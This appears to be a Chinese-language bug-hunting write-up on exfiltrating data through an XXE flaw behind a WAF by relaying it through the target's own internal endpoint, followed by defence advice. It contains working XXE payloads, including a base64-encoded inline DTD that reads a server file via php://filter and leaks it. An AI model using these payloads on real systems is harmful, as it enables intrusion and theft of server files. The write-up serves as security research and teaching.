漏洞挖掘:绕过WAF的OOB-XXE
字数 801 2025-08-26 22:11:57

绕过WAF的OOB-XXE漏洞挖掘技术详解

1. 漏洞背景与发现过程

作者在目标应用程序中发现了一个XML实体注入(XXE)漏洞,但该应用受到WAF(Web应用防火墙)的严格保护,阻止了所有对外请求(包括DNS查询)。通过创造性思维和深入分析,作者成功实现了带外(OOB)数据外泄。

2. 关键发现与技术要点

2.1 初始发现

  • 发现一个接收加密XML参数的端点
  • 前端加密,后端可能缺乏充分验证
  • 通过Chrome DevTools断点调试绕过前端加密

2.2 WAF绕过技术

  • 发现WAF阻止所有外部请求但允许内部请求
  • 确认XXE存在但无法直接外泄数据
  • 利用内部端点作为数据中转站

3. 漏洞利用详细步骤

3.1 第一阶段:确认XXE存在

<!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=test">
]>
<paramlimits>
  <component name="L1" min="2" max="100">&xxe;</component>
</paramlimits>

3.2 第二阶段:数据中转技术

  1. 寻找无需cookie验证的端点
  2. 使用GET方法传递参数(sid,key,val)
  3. 通过访问相同端点查看数据回显

3.3 第三阶段:文件读取技术

使用PHP包装器和Base64编码绕过限制:

  1. 构造外部DTD URL:
php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+
  1. 完整Payload:
<!DOCTYPE r [
  <!ELEMENT r ANY >
  <!ENTITY % sp SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+"> %sp; %param1;
]>
<paramlimits>
  <component name="L1" min="2" max="100">&exfil;</component>
</paramlimits>

4. 技术要点总结

  1. WAF绕过核心思路:利用WAF允许内部请求的特性,将内部端点作为数据中转站
  2. 数据编码技术:使用Base64编码确保文件内容正确传输
  3. PHP包装器利用
    • php://filter用于处理数据
    • data://用于内联DTD定义
  4. 参数实体技巧:使用多层实体构造实现文件读取和数据外泄

5. 防御建议

  1. 禁用外部实体解析:
    libxml_disable_entity_loader(true);
    
  2. 使用白名单验证输入数据
  3. 限制XML解析器的功能
  4. 对所有输出进行适当编码
  5. 监控异常的内部请求模式

6. 扩展思考

这种技术不仅适用于XXE,也可应用于其他需要绕过WAF限制的场景。关键在于:

  • 理解WAF的过滤规则
  • 寻找WAF允许的通信渠道
  • 创造性使用应用程序自身功能作为数据中转

通过这种技术,即使在没有直接外泄通道的情况下,也能实现敏感数据的提取。

绕过WAF的OOB-XXE漏洞挖掘技术详解 1. 漏洞背景与发现过程 作者在目标应用程序中发现了一个XML实体注入(XXE)漏洞,但该应用受到WAF(Web应用防火墙)的严格保护,阻止了所有对外请求(包括DNS查询)。通过创造性思维和深入分析,作者成功实现了带外(OOB)数据外泄。 2. 关键发现与技术要点 2.1 初始发现 发现一个接收加密XML参数的端点 前端加密,后端可能缺乏充分验证 通过Chrome DevTools断点调试绕过前端加密 2.2 WAF绕过技术 发现WAF阻止所有外部请求但允许内部请求 确认XXE存在但无法直接外泄数据 利用内部端点作为数据中转站 3. 漏洞利用详细步骤 3.1 第一阶段:确认XXE存在 3.2 第二阶段:数据中转技术 寻找无需cookie验证的端点 使用GET方法传递参数(sid,key,val) 通过访问相同端点查看数据回显 3.3 第三阶段:文件读取技术 使用PHP包装器和Base64编码绕过限制: 构造外部DTD URL: 完整Payload: 4. 技术要点总结 WAF绕过核心思路 :利用WAF允许内部请求的特性,将内部端点作为数据中转站 数据编码技术 :使用Base64编码确保文件内容正确传输 PHP包装器利用 : php://filter 用于处理数据 data:// 用于内联DTD定义 参数实体技巧 :使用多层实体构造实现文件读取和数据外泄 5. 防御建议 禁用外部实体解析: 使用白名单验证输入数据 限制XML解析器的功能 对所有输出进行适当编码 监控异常的内部请求模式 6. 扩展思考 这种技术不仅适用于XXE,也可应用于其他需要绕过WAF限制的场景。关键在于: 理解WAF的过滤规则 寻找WAF允许的通信渠道 创造性使用应用程序自身功能作为数据中转 通过这种技术,即使在没有直接外泄通道的情况下,也能实现敏感数据的提取。